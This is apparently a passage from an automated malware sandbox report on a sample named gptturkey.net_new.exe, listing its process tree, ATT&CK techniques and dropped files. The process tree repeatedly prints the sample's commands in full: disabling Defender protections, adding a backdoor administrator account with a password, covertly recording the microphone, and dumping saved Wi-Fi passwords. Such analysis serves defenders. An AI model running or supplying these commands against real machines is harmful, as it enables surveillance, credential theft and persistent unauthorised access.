        Command and Scripting Interpreter: PowerShell
        
        PID:10936
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:11412
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:11880
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:11912
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:6892
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:10212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223866966484.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13148
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10012
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:9440
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:9392
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:8840
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:10544
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:11484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223772532425.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11848
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6896
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:2412
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:9052
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:9100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:9856
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:9040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223700152874.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11772
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7484
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        
        PID:7864
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:7308
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:7276
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:7952
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:9364
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223619756427.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11172
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6228
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:5336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:4740
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7172
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:7688
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223559465493.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2524
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10124
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3376
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6780
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7112
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6264
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6612
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:7768
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223485655386.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9228
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:5844
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:2548
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:3080
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:1984
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6684
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:6004
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:8800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223440484978.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:5972
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:2236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4804
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:8
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:5360
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:6568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223445565855.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7732
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:7344

C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe
C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe
1⤵
PID:1176

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 aa2a46ef51a6223146581ef3711ce7d4c53287726f9720f6447936bd324c8e25
MD5 b1a4caa2ff5c965d320816425349352f
SHA1 2b93c3a375f3588d57f2d0db6f74bb709f5782ec
SHA512 92e152aef4ae31343ebc98fe51cd04a9752c7b75ee4bf5fa84a43e81eb3aa6adcddf04296f95de707f0a3ddf33c2cdddbcd0b52191084c4aa9eecaf78319b786
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 e289306ae8932f5162e1cd6ebac9f7d3044b8db721b77e79f9c7de0967381a28
MD5 d0113cd0baae63f1196f41ae883d65ef
SHA1 3c3771602cbb563dcf5a172f9b634c36225f0ece
SHA512 25009e35ce8e9e77141f944d313f8da47cee9b3494a657e60455b44e330ce7a65f242b5e7312fbb7f960e9c5e5eed5652b7c7cd13246d36b60253db7999a6274
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 fc9b0e6ff8568816790bbcb6ebdc189afb1153d155eb4edba20d4f86327654d0
MD5 522ee884dd44fe3b8aafe7bb538763d3
SHA1 46d82506ea997920966b39cf311f13c604fbd891
SHA512 2a101d4bfe3e6c6cb4811944de595fba1464495e98cf8ec76e45a6ca6d4a11bfd9dbf5b1cd8773609506fe84538d80c5ed364dc09ebfdaa55b4f5a16a72910a9
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 295307c171e204ef1624e93a184e9e42bef488bb608c233425375ec238b5e2bf
MD5 a230b7962242064c988614300f891a2f
SHA1 3e696f24b9f9c9a2ccfdea0ace9b4247035d954c
SHA512 849492f4f6c17fed0e2cb1d4388cb51a08b18e5e590e6bd95615da56e335907d300f1fecbeb34b557a26d5f4e05230ecb31f30475779f41e5f0dfea652f1777b
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 96ee0e594a7d72bd338a2aa1d10fbc78f9bbc9fdcded1bd8fe247cba5fd75e37
MD5 ffff31847b530adabd160f40f51ad2c1
SHA1 815452aa029057274998eb1731f209152fe42dc9
SHA512 d7339bfb4604f4d4394499acec9d2de00e76c3a09e21eee98abf46d271ee0153a7da0a1a118b19dd2789bec4041fb666093d9a4f6b2c036099101a72d7dea278
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 8efe123e84d3d8487923a41999b1d7e5e3e339bd5931f6f0e0a68b33870e910b
MD5 412f71d3b11cf19ffd8266025f91bdee
SHA1 59fe08e9a2ccedefb4b3a491dab4e2bdd371752a
SHA512 e2dd932ba63d18995aac4f6abbcdde143d253e8c0d8a5273045cf8e123ca1eab79da430d392156bcc8b7410c0f64867718c55e2b7d6903e42ef678059fb83a60
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 ea47d8ed6f0f3d46d4cf4719eb4a3da175344810bd3c71e91827277ed9eac158
MD5 02eda53179941aadc461e9a5124aafa6
SHA1 ea66dc5be1a0b88e5d408e3251cd36ce3bbd3184
SHA512 d3c6400317a61d122492d6c201f3c75ab846513120e04b8af4cd5078d458a638271682cce062e0f886314e03780efc7b9c6474b6f85dd3436dd7db4ea6b2bd6c
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 dbdd907b1107f8f4e567a9c99609545511d6b81a3ff95ef644458738fc1fd8ff
MD5 dff7a26a3890d8e6d07b07f2dec286f8
SHA1 103bd93dd4ba69f23c54678f144081a7d305a365
SHA512 e17111e86b16ae53008a9c78e838ff965c34194899bbf138470eea146c7bb54b97706817ec21658d1dfb6c20e9472f69d68b4dc41c080216380c0340afc03e09
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 36b6a417b55c0756ea82b4201d9d40d581a86877f2f70c1ba344d0c6900a2dfb
MD5 6090ab09faa396e34ff92a60676f718c
SHA1 64273edc7e3d5522182536ef9ed750abad33ee11
SHA512 95e3c1c22dbd3f9d7d219724df5da682abf61aff90dc7e061750d2679b9a148d888172de9aafc735b192390963dbf07bd9fd2a853243c5c2f4ec2614e2d5cd8c
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

12400860-c2a7-4853-a331-72f9ca214bef.inf

Path C:\Users\Admin\AppData\Local\Temp\12400860-c2a7-4853-a331-72f9ca214bef.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

4e46d92f-f77d-415f-bfb0-9733ee62104b.inf

Path C:\Users\Admin\AppData\Local\Temp\4e46d92f-f77d-415f-bfb0-9733ee62104b.inf
Size 170B
SHA256 54dd7dd0b05f1e64a33bfeca9cef5a63c50f8d801c262fa397134ef762f15e91
MD5 76a95d5348f892d869d6754bc91955ba
SHA1 dcb18130470c82fc0486ab0df428daae33c7e9d8
SHA512 f29abd42ba5432a537267b1b0b417cd7ec27b2db91a08bb9b309ba6b6b21a691134fe218570f132ade8db87c0f357c98b884b56eb339ceaefa92618a5e94b8f4
TLSH
T10DC01280C1F596B515457D73153B02984962C5153E45170C10F4ED66829950562D3239
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_evkqiib1.kwq.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_evkqiib1.kwq.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 76B
SHA256 c86027ac3ec7780efa0d9c1a54974e08b7812e5a66bcffac9a68e4ad930b9925
MD5 fe98e35ec11cde43dd4d0b51b0119bd9
SHA1 d27c148b572ae14764bc4702f53565d3a66487eb
SHA512 1b1a40b089e2d7ef9cbebdd17ad1bb4ff709ed50bb283392a99434e21dc010b2025eaaab8345cd441c464d99ad8fa75dd9be01869fad4a6fc23fe25093b3a26d
TLSH
T109A012018946816D04005C1305A1228C602404292A402A0401098C18168704771C9201
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 25KB
SHA256 38cab0566c5868999b7c12b82305f1c03cabde45e402f51c233db3154f22b77d
MD5 14fdae74f7058bbd49b832614fb2fab7
SHA1 812f5ea17bb1ad10a0b8450533917f98304f1e8d
SHA512 f73ffa7a2a8856989fa2af9666a925a9a4b0ee0f68ef8f35d9285f048efb26067e0336650cc6097f83d78ce47ef33c4de66f7c22ab46bcf66e1602d311270d26
SSDEEP 384:t+9W/96MIZ+HLv4SPgHxWvd0MIwnVl4+FIuUx9dTGwN18G+H+oz9ySxW5kUW:8c/7rvDPgQ1i6VmyIj9L/8znBySv
TLSH
T196C2F74177FCC228E0BF6BBB5C7257004775B89B9D12CA0E0ED8808E1E777444AA4BA2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\53799E33-21D6-4925-870F-C88B8BC5FF53\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\53799E33-21D6-4925-870F-C88B8BC5FF53\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

memory/4808-37-0x00000217D4700000-0x00000217D4722000-memory.dmp

Download

memory/4808-164-0x00000217ECD00000-0x00000217ECD0A000-memory.dmp

Download

memory/4808-128-0x00000217ECD10000-0x00000217ECD2E000-memory.dmp

Download

memory/4808-131-0x00000217ECF40000-0x00000217ECFF2000-memory.dmp

Download

memory/4936-34-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

Download

memory/4936-269-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

Download

memory/4936-274-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

Download

memory/4936-32-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

Download

memory/4936-0-0x00007FF832A5F000-0x00007FF832A60000-memory.dmp

Download

memory/4936-31-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

Download

memory/4936-30-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

Download

memory/4936-1-0x00000000009C0000-0x00000000009CC000-memory.dmp

Download

memory/4936-430-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

Download

memory/7136-350-0x00000299D0B40000-0x00000299D0B41000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads